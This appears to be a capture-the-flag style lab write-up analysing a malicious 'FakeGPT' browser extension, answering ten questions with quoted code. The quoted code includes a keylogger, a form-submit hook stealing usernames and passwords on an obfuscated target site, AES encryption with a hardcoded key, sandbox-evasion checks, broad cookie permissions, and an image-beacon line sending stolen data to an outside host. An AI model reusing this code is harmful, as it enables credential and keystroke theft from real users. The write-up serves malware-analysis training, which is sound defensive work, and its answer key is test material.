

FakeGPT Lab Malware Analysis Report

Questions, Answers & Evidence

Q1. Which encoding method does the browser extension use to obscure target URLs, making them more difficult to detect during analysis?

Answer: Base64

```
document.addEventListener('keydown', function(event) {
    var key = event.key;
    exfiltrateData('keystroke', key);
});

function exfiltrateCredentials(username, password) {
    const payload = { user: username, pass: password, site: window.location.hostname };
    const encryptedPayload = encryptPayload(JSON.stringify(payload));
    sendToServer(encryptedPayload);
}

function encryptPayload(data) {
    const key = CryptoJS.enc.Utf8.parse('SuperSecretKey123');
    const iv = CryptoJS.lib.WordArray.random(16);
    const encrypted = CryptoJS.AES.encrypt(data, key, { iv: iv });
    return iv.concat(encrypted.ciphertext).toString(CryptoJS.enc.Base64);
}
```

Q2. Which website does the extension monitor for data theft, targeting user accounts to steal sensitive information?

Answer: www.facebook.com

```
const targets = [_0xabc1('d3d3LmZhY2Vib29rLmNvbQ==')];
if (targets.indexOf(window.location.hostname) !== -1) {
    document.addEventListener('submit', function(event) {
        let form = event.target;
        let formData = new FormData(form);
        let username = formData.get('username') || formData.get('email');
        let password = formData.get('password');

        if (username && password) {
            exfiltrateCredentials(username, password);
        }
    });
}
```

After decoding

Decode from Base64 format

Simply enter your data then push the decode button.

d3d3LmZhY2Vib29rLmNvbQ

 For encoded binaries (like images, documents, etc.) use the file upload form a little further down on this page.

UTF-8  Source character set.

☐ Decode each line separately (useful for when you have multiple entries).

☒ Live mode OFF Decodes in real-time as you type or paste (supports only the UTF-8 character set).

 **DECODE**  Decodes your data into the area below.

www.facebook.com

Q3. Which type of HTML element is utilized by the extension to send stolen data?

Answer:

```
function sendToServer(encryptedData) {  
  var img = new Image();  
  img.src = 'https://Mo.Elshaheedy.com/collect?data=' + encodeURIComponent(encryptedData);  
  document.body.appendChild(img);  
}
```

Q4. What is the first specific condition in the code that triggers the extension to deactivate itself?

Answer: navigator.plugins.length === 0

```
(function() {  
  var _0xabc1 = function(_0x321a) {  
    return _0x321a;  
  };  
  // Check if the browser is in a virtual environment  
  if (navigator.plugins.length === 0 || /HeadlessChrome/.test(navigator.userAgent)) {  
    alert("Virtual environment detected. Extension will disable itself.");  
    chrome.runtime.onMessage.addListener(() => { return false; });  
  }  
})
```

Q5. Which event does the extension capture to track user input submitted through forms?

Answer: submit

```
const targets = [_0xabc1('d3d3LmZhY2Vib29rLmNvbQ==')];
if (targets.indexOf(window.location.hostname) !== -1) {
  document.addEventListener('submit', function(event) {
    let form = event.target;
    let formData = new FormData(form);
    let username = formData.get('username') || formData.get('email');
    let password = formData.get('password');

    if (username && password) {
      exfiltrateCredentials(username, password);
    }
  });
}
```

Q6. Which API or method does the extension use to capture and monitor user keystrokes?

Answer: `keydown`

```
document.addEventListener('keydown', function(event) {
  var key = event.key;
  exfiltrateData('keystroke', key);
});

function exfiltrateCredentials(username, password) {
  const payload = { user: username, pass: password, site: window.location.hostname };
  const encryptedPayload = encryptPayload(JSON.stringify(payload));
  sendToServer(encryptedPayload);
}
```

Q7. What is the domain where the extension transmits the exfiltrated data?

Answer: Mo.Elshaheedy.com

```
function sendToServer(encryptedData) {
  var img = new Image();
  img.src = 'https://Mo.Elshaheedy.com/collect?data=' + encodeURIComponent(encryptedData);
  document.body.appendChild(img);
}
```

Q8. Which function in the code is used to exfiltrate user credentials, including the username and password?

Answer: `exfiltrateCredentials(username, password);`

```
const targets = [_0xabc1('d3d3LmZhY2Vib29rLmNvbQ==')];
if (targets.indexOf(window.location.hostname) !== -1) {
  document.addEventListener('submit', function(event) {
    let form = event.target;
    let formData = new FormData(form);
    let username = formData.get('username') || formData.get('email');
    let password = formData.get('password');

    if (username && password) {
      exfiltrateCredentials(username, password);
    }
  });
}
```

Q9. Which encryption algorithm is applied to secure the data before sending?

Answer: AES

```
function encryptPayload(data) {
  const key = CryptoJS.enc.Utf8.parse('SuperSecretKey123');
  const iv = CryptoJS.lib.WordArray.random(16);
  const encrypted = CryptoJS.AES.encrypt(data, key, { iv: iv });
  return iv.concat(encrypted.ciphertext).toString(CryptoJS.enc.Base64);
}
```

Q10. What does the extension access to store or manipulate session-related data and authentication information?

Answer: cookies

```
"permissions": [
  "tabs",
  "http://*/*",
  "https://*/*",
  "storage",
  "webRequest",
  "webRequestBlocking",
  "cookies"
],
"background": {
  "scripts": ["system/loader.js"],
  "persistent": true
}
```